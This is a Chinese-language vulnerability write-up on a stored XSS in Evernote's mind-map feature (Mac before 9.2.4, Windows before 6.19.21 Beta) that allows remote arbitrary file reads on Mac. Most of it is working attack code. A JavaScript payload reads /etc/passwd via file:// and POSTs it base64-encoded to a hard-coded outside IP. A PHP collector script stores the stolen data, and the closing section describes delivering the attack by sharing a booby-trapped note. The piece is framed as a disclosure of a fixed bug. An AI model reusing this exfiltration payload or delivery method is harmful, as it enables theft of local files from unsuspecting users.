印象笔记Mac版远程任意文件读取漏洞

影响版本

9.2.4和Windows的版本6.19.21Beta之前带有思维导图的都可以触发。
已经在9.2.4和Windows的版本6.19.21Beta进行了修复。
Xnip2020-01-06_11-54-33.jpg

原理

本质就是一个xss,和之前印象笔记rce一样,但是由于mac没得用jsonp,win上jsonp执行代码的方式都禁掉了,只能从本身支持的函数上找,找的太麻烦了,就交了。
mac上是file域,所以可以进行文件读取,从而造成任意文件读取,win上不行。

xss点:

xss点比较难找,添加思维导图的时候插入带头xss头的笔记就可以触发。

可以看到已经成功触发

远程任意文件读取

调用远程js文件,js文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134

(function() {
var BASE64_MAPPING = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'];
var _toBinary = function(ascii) {
var binary = new Array();
while (ascii > 0) {
var b = ascii % 2;
ascii = Math.floor(ascii / 2);
binary.push(b);
}

binary.reverse();
return binary;
};


var _toDecimal = function(binary) {
var dec = 0;
var p = 0;
for (var i = binary.length - 1; i >= 0; --i) {
var b = binary[i];
if (b == 1) {
dec += Math.pow(2, p);
}++p;
}
return dec;
};


var _toUTF8Binary = function(c, binaryArray) {
var mustLen = (8 - (c + 1)) + ((c - 1) * 6);
var fatLen = binaryArray.length;
var diff = mustLen - fatLen;
while (--diff >= 0) {
binaryArray.unshift(0);
}
var binary = [];
var _c = c;
while (--_c >= 0) {
binary.push(1);
}
binary.push(0);
var i = 0,
len = 8 - (c + 1);
for (; i < len; ++i) {
binary.push(binaryArray[i]);
}

for (var j = 0; j < c - 1; ++j) {
binary.push(1);
binary.push(0);
var sum = 6;
while (--sum >= 0) {
binary.push(binaryArray[i++]);
}
}
return binary;
};

var __BASE64 = {
encoder: function(str) {
var base64_Index = [];
var binaryArray = [];
for (var i = 0, len = str.length; i < len; ++i) {
var unicode = str.charCodeAt(i);
var _tmpBinary = _toBinary(unicode);
if (unicode < 0x80) {
var _tmpdiff = 8 - _tmpBinary.length;
while (--_tmpdiff >= 0) {
_tmpBinary.unshift(0);
}
binaryArray = binaryArray.concat(_tmpBinary);
} else if (unicode >= 0x80 && unicode <= 0x7FF) {
binaryArray = binaryArray.concat(_toUTF8Binary(2, _tmpBinary));
} else if (unicode >= 0x800 && unicode <= 0xFFFF) { //UTF-8 3byte
binaryArray = binaryArray.concat(_toUTF8Binary(3, _tmpBinary));
} else if (unicode >= 0x10000 && unicode <= 0x1FFFFF) { //UTF-8 4byte
binaryArray = binaryArray.concat(_toUTF8Binary(4, _tmpBinary));
} else if (unicode >= 0x200000 && unicode <= 0x3FFFFFF) { //UTF-8 5byte
binaryArray = binaryArray.concat(_toUTF8Binary(5, _tmpBinary));
} else if (unicode >= 4000000 && unicode <= 0x7FFFFFFF) { //UTF-8 6byte
binaryArray = binaryArray.concat(_toUTF8Binary(6, _tmpBinary));
}
}

var extra_Zero_Count = 0;
for (var i = 0, len = binaryArray.length; i < len; i += 6) {
var diff = (i + 6) - len;
if (diff == 2) {
extra_Zero_Count = 2;
} else if (diff == 4) {
extra_Zero_Count = 4;
}
var _tmpExtra_Zero_Count = extra_Zero_Count;
while (--_tmpExtra_Zero_Count >= 0) {
binaryArray.push(0);
}
base64_Index.push(_toDecimal(binaryArray.slice(i, i + 6)));
}

var base64 = '';
for (var i = 0, len = base64_Index.length; i < len; ++i) {
base64 += BASE64_MAPPING[base64_Index[i]];
}

for (var i = 0, len = extra_Zero_Count / 2; i < len; ++i) {
base64 += '=';
}
return base64;
},
};

window.BASE64 = __BASE64;
})();


function sendGetRequest(url) {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(xhr.readyState == XMLHttpRequest.DONE){
var text = BASE64.encoder(xhr.responseText);
xhr1.open('POST','http://106.54.164.22:81/test.php',false);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr1.send('file='+text);

}

}
xhr.open('GET', 'file:///etc/passwd');
xhr.send()
}

sendGetRequest('file:///etc/passwd')

test.php 内容

1
2
3
4
5
6
<?php
$data = base64_decode($_POST["file"]);
$file = fopen("file.txt",'a');
fwrite($file,$data);
fclose($file);
?>

接受到请求,写到file.txt中

远程利用

很简单,编辑好攻击笔记直接利用共享的方式发送给别人,只要在客户端中打开就能触发。